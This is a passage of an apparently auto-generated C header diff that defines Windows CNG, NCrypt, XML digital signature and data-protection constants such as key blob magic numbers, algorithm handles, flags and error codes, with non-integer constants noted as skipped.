BCRYPT_ECDSA_PUBLIC_P521_MAGIC 0x35534345 +#define BCRYPT_ECDSA_PRIVATE_P521_MAGIC 0x36534345 +#define BCRYPT_ECDSA_PUBLIC_GENERIC_MAGIC 0x50444345 +#define BCRYPT_ECDSA_PRIVATE_GENERIC_MAGIC 0x56444345 +#define BCRYPT_ECC_FULLKEY_BLOB_V1 0x1 +// SKIPPED const BCRYPT_DH_PUBLIC_BLOB: non-integer constant +// SKIPPED const BCRYPT_DH_PRIVATE_BLOB: non-integer constant +// SKIPPED const LEGACY_DH_PUBLIC_BLOB: non-integer constant +// SKIPPED const LEGACY_DH_PRIVATE_BLOB: non-integer constant +// SKIPPED const BCRYPT_DH_PARAMETERS: non-integer constant +#define BCRYPT_DH_PARAMETERS_MAGIC 0x4d504844 +// SKIPPED const BCRYPT_DSA_PUBLIC_BLOB: non-integer constant +// SKIPPED const BCRYPT_DSA_PRIVATE_BLOB: non-integer constant +// SKIPPED const LEGACY_DSA_PUBLIC_BLOB: non-integer constant +// SKIPPED const LEGACY_DSA_PRIVATE_BLOB: non-integer constant +// SKIPPED const LEGACY_DSA_V2_PUBLIC_BLOB: non-integer constant +// SKIPPED const LEGACY_DSA_V2_PRIVATE_BLOB: non-integer constant +#define BCRYPT_DSA_PUBLIC_MAGIC_V2 0x32425044 +#define BCRYPT_DSA_PRIVATE_MAGIC_V2 0x32565044 +#define BCRYPT_KEY_DATA_BLOB_MAGIC 0x4d42444b +#define BCRYPT_KEY_DATA_BLOB_VERSION1 0x1 +#define BCRYPT_MLDSA_PUBLIC_MAGIC 0x4b505344 +#define BCRYPT_MLDSA_PRIVATE_MAGIC 0x4b535344 +#define BCRYPT_MLDSA_PRIVATE_SEED_MAGIC 0x53535344 +#define BCRYPT_SLHDSA_PUBLIC_MAGIC 0x4b504853 +#define BCRYPT_SLHDSA_PRIVATE_MAGIC 0x4b534853 +#define BCRYPT_LMS_PUBLIC_MAGIC 0x4b504d4c +#define BCRYPT_XMSS_PUBLIC_MAGIC 0x4b504d58 +// SKIPPED const BCRYPT_PQDSA_PUBLIC_BLOB: non-integer constant +// SKIPPED const BCRYPT_PQDSA_PRIVATE_BLOB: non-integer constant +// SKIPPED const BCRYPT_PQDSA_PRIVATE_SEED_BLOB: non-integer constant +#define BCRYPT_MLKEM_PUBLIC_MAGIC 0x504b4c4d +#define BCRYPT_MLKEM_PRIVATE_MAGIC 0x524b4c4d +#define BCRYPT_MLKEM_PRIVATE_SEED_MAGIC 0x534b4c4d +// SKIPPED const BCRYPT_MLKEM_PUBLIC_BLOB: non-integer constant +// SKIPPED const BCRYPT_MLKEM_PRIVATE_BLOB: non-integer constant +// SKIPPED const BCRYPT_MLKEM_PRIVATE_SEED_BLOB: non-integer constant +// SKIPPED const BCRYPT_MLKEM_ENCAPSULATION_BLOB: non-integer constant +// SKIPPED const BCRYPT_MLKEM_DECAPSULATION_BLOB: non-integer constant +// SKIPPED const BCRYPT_DSA_PARAMETERS: non-integer constant +#define BCRYPT_DSA_PARAMETERS_MAGIC 0x4d505344 +#define BCRYPT_DSA_PARAMETERS_MAGIC_V2 0x324d5044 +// SKIPPED const BCRYPT_ECC_PARAMETERS: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NAME: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NAME_LIST: non-integer constant +#define BCRYPT_ECC_PARAMETERS_MAGIC 0x50434345 +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP160R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP160T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP192R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP192T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP224R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP224T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP256R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP256T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP320R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP320T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP384R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP384T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP512R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_BRAINPOOLP512T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_25519: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_EC192WAPI: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NISTP192: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NISTP224: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NISTP256: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NISTP384: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NISTP521: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NUMSP256T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NUMSP384T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_NUMSP512T1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP160K1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP160R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP160R2: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP192K1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP192R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP224K1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP224R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP256K1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP256R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP384R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_SECP521R1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_WTLS7: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_WTLS9: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_WTLS12: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_X962P192V1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_X962P192V2: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_X962P192V3: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_X962P239V1: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_X962P239V2: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_X962P239V3: non-integer constant +// SKIPPED const BCRYPT_ECC_CURVE_X962P256V1: non-integer constant +// SKIPPED const BCRYPT_MLDSA_PARAMETER_SET_44: non-integer constant +// SKIPPED const BCRYPT_MLDSA_PARAMETER_SET_65: non-integer constant +// SKIPPED const BCRYPT_MLDSA_PARAMETER_SET_87: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHA2_128S: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHAKE_128S: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHA2_128F: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHAKE_128F: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHA2_192S: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHAKE_192S: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHA2_192F: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHAKE_192F: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHA2_256S: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHAKE_256S: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHA2_256F: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_PARAMETER_SET_SHAKE_256F: non-integer constant +// SKIPPED const BCRYPT_MLKEM_PARAMETER_SET_512: non-integer constant +// SKIPPED const BCRYPT_MLKEM_PARAMETER_SET_768: non-integer constant +// SKIPPED const BCRYPT_MLKEM_PARAMETER_SET_1024: non-integer constant +// SKIPPED const MS_PRIMITIVE_PROVIDER: non-integer constant +// SKIPPED const MS_PLATFORM_CRYPTO_PROVIDER: non-integer constant +// SKIPPED const BCRYPT_RSA_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_RSA_SIGN_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_DH_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_DSA_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_RC2_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_RC4_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_AES_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_DES_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_DESX_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_3DES_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_3DES_112_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_MD2_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_MD4_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_MD5_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHA1_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHA256_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHA384_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHA512_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_AES_GMAC_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_AES_CMAC_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDSA_P256_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDSA_P384_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDSA_P521_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDH_P256_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDH_P384_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDH_P521_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_RNG_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_RNG_FIPS186_DSA_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_RNG_DUAL_EC_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SP800108_CTR_HMAC_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SP80056A_CONCAT_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_PBKDF2_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_CAPI_KDF_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_TLS1_1_KDF_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_TLS1_2_KDF_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDSA_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDH_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_XTS_AES_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_HKDF_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_CHACHA20_POLY1305_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHA3_256_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHA3_384_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHA3_512_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_CSHAKE128_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_CSHAKE256_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_KMAC128_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_KMAC256_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHAKE128_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHAKE256_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_MLDSA_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_LMS_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_XMSS_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_MLKEM_ALGORITHM: non-integer constant +#define BCRYPT_KEY_DERIVATION_INTERFACE 0x7 +#define BCRYPT_KEY_ENCAPSULATION_INTERFACE 0x8 +#define BCRYPT_MD2_ALG_HANDLE 0x1 +#define BCRYPT_MD4_ALG_HANDLE 0x11 +#define BCRYPT_MD5_ALG_HANDLE 0x21 +#define BCRYPT_SHA1_ALG_HANDLE 0x31 +#define BCRYPT_SHA256_ALG_HANDLE 0x41 +#define BCRYPT_SHA384_ALG_HANDLE 0x51 +#define BCRYPT_SHA512_ALG_HANDLE 0x61 +#define BCRYPT_RC4_ALG_HANDLE 0x71 +#define BCRYPT_RNG_ALG_HANDLE 0x81 +#define BCRYPT_HMAC_MD5_ALG_HANDLE 0x91 +#define BCRYPT_HMAC_SHA1_ALG_HANDLE 0xa1 +#define BCRYPT_HMAC_SHA256_ALG_HANDLE 0xb1 +#define BCRYPT_HMAC_SHA384_ALG_HANDLE 0xc1 +#define BCRYPT_HMAC_SHA512_ALG_HANDLE 0xd1 +#define BCRYPT_RSA_ALG_HANDLE 0xe1 +#define BCRYPT_ECDSA_ALG_HANDLE 0xf1 +#define BCRYPT_AES_CMAC_ALG_HANDLE 0x101 +#define BCRYPT_AES_GMAC_ALG_HANDLE 0x111 +#define BCRYPT_HMAC_MD2_ALG_HANDLE 0x121 +#define BCRYPT_HMAC_MD4_ALG_HANDLE 0x131 +#define BCRYPT_3DES_CBC_ALG_HANDLE 0x141 +#define BCRYPT_3DES_ECB_ALG_HANDLE 0x151 +#define BCRYPT_3DES_CFB_ALG_HANDLE 0x161 +#define BCRYPT_3DES_112_CBC_ALG_HANDLE 0x171 +#define BCRYPT_3DES_112_ECB_ALG_HANDLE 0x181 +#define BCRYPT_3DES_112_CFB_ALG_HANDLE 0x191 +#define BCRYPT_AES_CBC_ALG_HANDLE 0x1a1 +#define BCRYPT_AES_ECB_ALG_HANDLE 0x1b1 +#define BCRYPT_AES_CFB_ALG_HANDLE 0x1c1 +#define BCRYPT_AES_CCM_ALG_HANDLE 0x1d1 +#define BCRYPT_AES_GCM_ALG_HANDLE 0x1e1 +#define BCRYPT_DES_CBC_ALG_HANDLE 0x1f1 +#define BCRYPT_DES_ECB_ALG_HANDLE 0x201 +#define BCRYPT_DES_CFB_ALG_HANDLE 0x211 +#define BCRYPT_DESX_CBC_ALG_HANDLE 0x221 +#define BCRYPT_DESX_ECB_ALG_HANDLE 0x231 +#define BCRYPT_DESX_CFB_ALG_HANDLE 0x241 +#define BCRYPT_RC2_CBC_ALG_HANDLE 0x251 +#define BCRYPT_RC2_ECB_ALG_HANDLE 0x261 +#define BCRYPT_RC2_CFB_ALG_HANDLE 0x271 +#define BCRYPT_DH_ALG_HANDLE 0x281 +#define BCRYPT_ECDH_ALG_HANDLE 0x291 +#define BCRYPT_ECDH_P256_ALG_HANDLE 0x2a1 +#define BCRYPT_ECDH_P384_ALG_HANDLE 0x2b1 +#define BCRYPT_ECDH_P521_ALG_HANDLE 0x2c1 +#define BCRYPT_DSA_ALG_HANDLE 0x2d1 +#define BCRYPT_ECDSA_P256_ALG_HANDLE 0x2e1 +#define BCRYPT_ECDSA_P384_ALG_HANDLE 0x2f1 +#define BCRYPT_ECDSA_P521_ALG_HANDLE 0x301 +#define BCRYPT_RSA_SIGN_ALG_HANDLE 0x311 +#define BCRYPT_CAPI_KDF_ALG_HANDLE 0x321 +#define BCRYPT_PBKDF2_ALG_HANDLE 0x331 +#define BCRYPT_SP800108_CTR_HMAC_ALG_HANDLE 0x341 +#define BCRYPT_SP80056A_CONCAT_ALG_HANDLE 0x351 +#define BCRYPT_TLS1_1_KDF_ALG_HANDLE 0x361 +#define BCRYPT_TLS1_2_KDF_ALG_HANDLE 0x371 +#define BCRYPT_XTS_AES_ALG_HANDLE 0x381 +#define BCRYPT_HKDF_ALG_HANDLE 0x391 +#define BCRYPT_CHACHA20_POLY1305_ALG_HANDLE 0x3a1 +#define BCRYPT_SHA3_256_ALG_HANDLE 0x3b1 +#define BCRYPT_SHA3_384_ALG_HANDLE 0x3c1 +#define BCRYPT_SHA3_512_ALG_HANDLE 0x3d1 +#define BCRYPT_HMAC_SHA3_256_ALG_HANDLE 0x3e1 +#define BCRYPT_HMAC_SHA3_384_ALG_HANDLE 0x3f1 +#define BCRYPT_HMAC_SHA3_512_ALG_HANDLE 0x401 +#define BCRYPT_CSHAKE128_ALG_HANDLE 0x411 +#define BCRYPT_CSHAKE256_ALG_HANDLE 0x421 +#define BCRYPT_KMAC128_ALG_HANDLE 0x431 +#define BCRYPT_KMAC256_ALG_HANDLE 0x441 +#define BCRYPT_SHAKE128_ALG_HANDLE 0x451 +#define BCRYPT_SHAKE256_ALG_HANDLE 0x461 +#define BCRYPT_MLDSA_ALG_HANDLE 0x471 +#define BCRYPT_MLKEM_ALG_HANDLE 0x481 +#define BCRYPT_CAPI_AES_FLAG 0x10 +#define BCRYPT_MULTI_FLAG 0x40 +#define BCRYPT_HASH_DONT_RESET_FLAG 0x1 +#define BCRYPT_TLS_CBC_HMAC_VERIFY_FLAG 0x4 +#define BCRYPT_BUFFERS_LOCKED_FLAG 0x40 +#define BCRYPT_EXTENDED_KEYSIZE 0x80 +#define BCRYPT_ENABLE_INCOMPATIBLE_FIPS_CHECKS 0x100 +#define BCRYPT_KEY_DERIVATION_OPERATION 0x40 +#define BCRYPT_KEY_ENCAPSULATION_OPERATION 0x80 +#define BCRYPT_PUBLIC_KEY_FLAG 0x1 +#define BCRYPT_PRIVATE_KEY_FLAG 0x2 +#define BCRYPT_NO_KEY_VALIDATION 0x8 +#define BCRYPT_KEY_VALIDATION_RANGE 0x10 +#define BCRYPT_KEY_VALIDATION_RANGE_AND_ORDER 0x18 +#define BCRYPT_KEY_VALIDATION_REGENERATE 0x20 +#define BCRYPT_HASH_INTERFACE_MAJORVERSION_2 0x2 +#define CRYPT_OVERWRITE 0x1 +#define CRYPT_PRIORITY_TOP 0x0 +#define CRYPT_PRIORITY_BOTTOM 0xffffffff +// SKIPPED const CRYPT_DEFAULT_CONTEXT: non-integer constant +// SKIPPED const wszXMLNS_DIGSIG: non-integer constant +// SKIPPED const wszXMLNS_DIGSIG_SignatureProperties: non-integer constant +// SKIPPED const wszXMLNS_DIGSIG_Id: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_BASE64: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_SHA1: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_SHA256: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_SHA384: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_SHA512: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_RSA_SHA1: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_DSA_SHA1: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_RSA_SHA256: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_RSA_SHA384: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_RSA_SHA512: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_ECDSA_SHA1: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_ECDSA_SHA256: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_ECDSA_SHA384: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_ECDSA_SHA512: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_HMAC_SHA1: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_HMAC_SHA256: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_HMAC_SHA384: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_HMAC_SHA512: non-integer constant +// SKIPPED const wszURI_CANONICALIZATION_C14N: non-integer constant +// SKIPPED const wszURI_CANONICALIZATION_C14NC: non-integer constant +// SKIPPED const wszURI_CANONICALIZATION_EXSLUSIVE_C14N: non-integer constant +// SKIPPED const wszURI_CANONICALIZATION_EXSLUSIVE_C14NC: non-integer constant +// SKIPPED const wszURI_TRANSFORM_XPATH: non-integer constant +// SKIPPED const wszURI_XMLNS_TRANSFORM_BASE64: non-integer constant +// SKIPPED const wszURI_XMLNS_TRANSFORM_ENVELOPED: non-integer constant +#define CRYPT_XML_BLOB_MAX 0x7ffffff8 +#define CRYPT_XML_ID_MAX 0x100 +#define CRYPT_XML_SIGNATURES_MAX 0x10 +#define CRYPT_XML_TRANSFORM_MAX 0x10 +#define CRYPT_XML_SIGNATURE_VALUE_MAX 0x800 +#define CRYPT_XML_DIGEST_VALUE_MAX 0x80 +#define CRYPT_XML_OBJECTS_MAX 0x100 +#define CRYPT_XML_REFERENCES_MAX 0x7ff8 +#define CRYPT_XML_E_BASE -2146885376 +#define CRYPT_XML_E_LARGE -2146885375 +#define CRYPT_XML_E_TOO_MANY_TRANSFORMS -2146885374 +#define CRYPT_XML_E_ENCODING -2146885373 +#define CRYPT_XML_E_ALGORITHM -2146885372 +#define CRYPT_XML_E_TRANSFORM -2146885371 +#define CRYPT_XML_E_HANDLE -2146885370 +#define CRYPT_XML_E_OPERATION -2146885369 +#define CRYPT_XML_E_UNRESOLVED_REFERENCE -2146885368 +#define CRYPT_XML_E_INVALID_DIGEST -2146885367 +#define CRYPT_XML_E_INVALID_SIGNATURE -2146885366 +#define CRYPT_XML_E_HASH_FAILED -2146885365 +#define CRYPT_XML_E_SIGN_FAILED -2146885364 +#define CRYPT_XML_E_VERIFY_FAILED -2146885363 +#define CRYPT_XML_E_TOO_MANY_SIGNATURES -2146885362 +#define CRYPT_XML_E_INVALID_KEYVALUE -2146885361 +#define CRYPT_XML_E_UNEXPECTED_XML -2146885360 +#define CRYPT_XML_E_SIGNER -2146885359 +#define CRYPT_XML_E_NON_UNIQUE_ID -2146885358 +#define CRYPT_XML_E_LAST -2146885358 +#define CRYPT_XML_FLAG_ALWAYS_RETURN_ENCODED_OBJECT 0x40000000 +#define CRYPT_XML_FLAG_ENFORCE_ID_NCNAME_FORMAT 0x20000000 +#define CRYPT_XML_FLAG_ENFORCE_ID_NAME_FORMAT 0x8000000 +#define CRYPT_XML_FLAG_ECDSA_DSIG11 0x4000000 +#define CRYPT_XML_STATUS_NO_ERROR 0x0 +#define CRYPT_XML_FLAG_ADD_OBJECT_CREATE_COPY 0x1 +#define CRYPT_XML_FLAG_CREATE_REFERENCE_AS_OBJECT 0x1 +#define CRYPT_XML_DIGEST_REFERENCE_DATA_TRANSFORMED 0x1 +#define CRYPT_XML_ALGORITHM_INFO_FIND_BY_URI 0x1 +#define CRYPT_XML_ALGORITHM_INFO_FIND_BY_NAME 0x2 +#define CRYPT_XML_ALGORITHM_INFO_FIND_BY_CNG_ALGID 0x3 +#define CRYPT_XML_ALGORITHM_INFO_FIND_BY_CNG_SIGN_ALGID 0x4 +// SKIPPED const szFORCE_KEY_PROTECTION: non-integer constant +#define dwFORCE_KEY_PROTECTION_DISABLED 0x0 +#define dwFORCE_KEY_PROTECTION_USER_SELECT 0x1 +#define dwFORCE_KEY_PROTECTION_HIGH 0x2 +#define CRYPTPROTECT_PROMPT_ON_UNPROTECT 0x1 +#define CRYPTPROTECT_PROMPT_ON_PROTECT 0x2 +#define CRYPTPROTECT_PROMPT_RESERVED 0x4 +#define CRYPTPROTECT_PROMPT_STRONG 0x8 +#define CRYPTPROTECT_PROMPT_REQUIRE_STRONG 0x10 +#define CRYPTPROTECT_UI_FORBIDDEN 0x1 +#define CRYPTPROTECT_LOCAL_MACHINE 0x4 +#define CRYPTPROTECT_CRED_SYNC 0x8 +#define CRYPTPROTECT_AUDIT 0x10 +#define CRYPTPROTECT_NO_RECOVERY 0x20 +#define CRYPTPROTECT_VERIFY_PROTECTION 0x40 +#define CRYPTPROTECT_CRED_REGENERATE 0x80 +#define CRYPTPROTECT_FIRST_RESERVED_FLAGVAL 0xfffffff +#define CRYPTPROTECT_LAST_RESERVED_FLAGVAL 0xffffffff +#define CRYPTPROTECTMEMORY_BLOCK_SIZE 0x10 +#define CRYPTPROTECTMEMORY_SAME_PROCESS 0x0 +#define CRYPTPROTECTMEMORY_CROSS_PROCESS 0x1 +#define CRYPTPROTECTMEMORY_SAME_LOGON 0x2 +#define NCRYPT_MAX_KEY_NAME_LENGTH 0x200 +#define NCRYPT_MAX_ALG_ID_LENGTH 0x200 +// SKIPPED const MS_KEY_STORAGE_PROVIDER: non-integer constant +// SKIPPED const MS_SMART_CARD_KEY_STORAGE_PROVIDER: non-integer constant +// SKIPPED const MS_PLATFORM_KEY_STORAGE_PROVIDER: non-integer constant +// SKIPPED const MS_NGC_KEY_STORAGE_PROVIDER: non-integer constant +// SKIPPED const MS_PLUTON_CRYPTO_PROVIDER: non-integer constant +// SKIPPED const TPM_RSA_SRK_SEAL_KEY: non-integer constant +// SKIPPED const NCRYPT_RSA_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_RSA_SIGN_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_DH_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_DSA_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_MD2_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_MD4_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_MD5_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_SHA1_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_SHA256_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_SHA384_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_SHA512_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDSA_P256_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDSA_P384_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDSA_P521_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDH_P256_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDH_P384_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDH_P521_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_AES_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_RC2_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_3DES_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_DES_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_DESX_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_3DES_112_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_SP800108_CTR_HMAC_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_SP80056A_CONCAT_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_PBKDF2_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_CAPI_KDF_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDSA_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDH_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_KEY_STORAGE_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_HMAC_SHA256_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_MLKEM_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_MLDSA_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_SLHDSA_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_LMS_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_XMSS_ALGORITHM: non-integer constant +#define NCRYPT_KEY_DERIVATION_INTERFACE 0x7 +#define NCRYPT_KEY_ENCAPSULATION_INTERFACE 0x8 +#define NCRYPT_KEY_PROTECTION_INTERFACE 0x10004 +// SKIPPED const NCRYPT_RSA_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_DH_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_DSA_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_ECDSA_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_ECDH_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_AES_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_RC2_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_DES_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_KEY_DERIVATION_GROUP: non-integer constant +// SKIPPED const NCRYPT_MLKEM_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_MLDSA_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_SLHDSA_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_LMS_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_XMSS_ALGORITHM_GROUP: non-integer constant +#define NCRYPTBUFFER_VERSION 0x0 +#define NCRYPTBUFFER_EMPTY 0x0 +#define NCRYPTBUFFER_DATA 0x1 +#define NCRYPTBUFFER_PROTECTION_DESCRIPTOR_STRING 0x3 +#define NCRYPTBUFFER_PROTECTION_FLAGS 0x4 +#define NCRYPTBUFFER_SSL_CLIENT_RANDOM 0x14 +#define 